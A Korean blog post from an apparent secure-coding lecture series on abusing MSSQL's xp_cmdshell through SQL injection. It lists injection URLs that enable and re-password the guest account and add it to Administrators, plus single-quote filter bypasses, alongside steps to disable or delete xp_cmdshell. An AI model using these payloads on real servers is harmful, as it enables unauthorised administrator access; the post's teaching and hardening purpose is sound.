게으른 데이터베이스 운영자에 의해 MSSQL 서버를 sa계정으로 운영하여 SQL-Injection 취약점으로 인해 웹서버가 접속되도록 만들어주는 xp_cmdshell
http://victim.com/research_name=';EXEC xp_cmdshell 'net user guest /active:yes'--
// guest 활성화
http://victim.com/research_name=';EXEC xp_cmdshell 'net user guest test'--
// guest 계정 password 변경(test)
http://victim.com/research_name=';EXEC xp_cmdshell 'net localgroup Administrators guest /add'--
// 관리자그룹에 guest 추가
원격터미널로 접속 고고씽
xp_cmdshell stored procedure 해제 방법
1) sp_dropextendedproc 사용
USE MASTER
IF OBJECT_ID('[dbo].[xp_cmdshell]') IS NOT NULL BEGIN
EXEC sp_dropextendedproc 'xp_cmdshell'
END
2) sp_configure 사용
Exec sp_configure 'show advanced options',1
Exec sp_configure 'xp_cmdshell',0
Reconfigure
xp_cmdshell stored procedure 복원
exec sp_addextendedproc 'xp_cmdshell','xplog70.dll'
xp_cmdshell stored procedure 완전히 삭제하는 방법
xplog70.dll 삭제 (path: C:\Program Files\Microsoft SQL Server\MSSQL\Binn)
xplog70.dll 놈과 종속된 놈들
xp_sscanf
xp_sprintf
xp_msver // mssql 상세 version
xp_enumgroups // 그룹정보
xp_logevent
xp_loginconfig // login mode, default login, default domain, audit level, set hostname 정보확인
파라미터 값에 single quote(')를 막아놨을 경우 아래와 같은 방법으로 우회 가능
1) exec master.dbo.sp_addlogin @loginame=0x0074006500730074
헥사를 사용해서 하는 방법은 @loginame과 같이 변수명이 지정된 프로시저라야 한다.
sp_addlogin과 같은 프로시저는 변수명이 지정되어 있지만 xp_cmdshell과 같은 어떤 것은 변수명이 지정되어 있지 않다.
이런 경우는 다른 방법이 있다.
2) exec master.dbo.xp_cmdshell [net user /add test test]
이 방법은 MSSQL에서 컬럼명이 예약어와 겹치는 경우 대괄호를 이용해서 실행하는 것을 떠올려서 찾았다.
'시큐어코딩 강의' 카테고리의 다른 글
시큐어코딩 강의 - Java 1.4.2 API (0) | 2015.04.12 |
---|---|
시큐어코딩 강의 - WebGoat 실습 (0) | 2015.04.12 |
시큐어코딩 강의 - 안전한 C 프로그램을 위한 코딩 표준 (0) | 2015.03.28 |
시큐어코딩 강의 - CVSS 가이드 (0) | 2015.03.27 |
시큐어코딩 강의 - 참고자료 (0) | 2015.03.23 |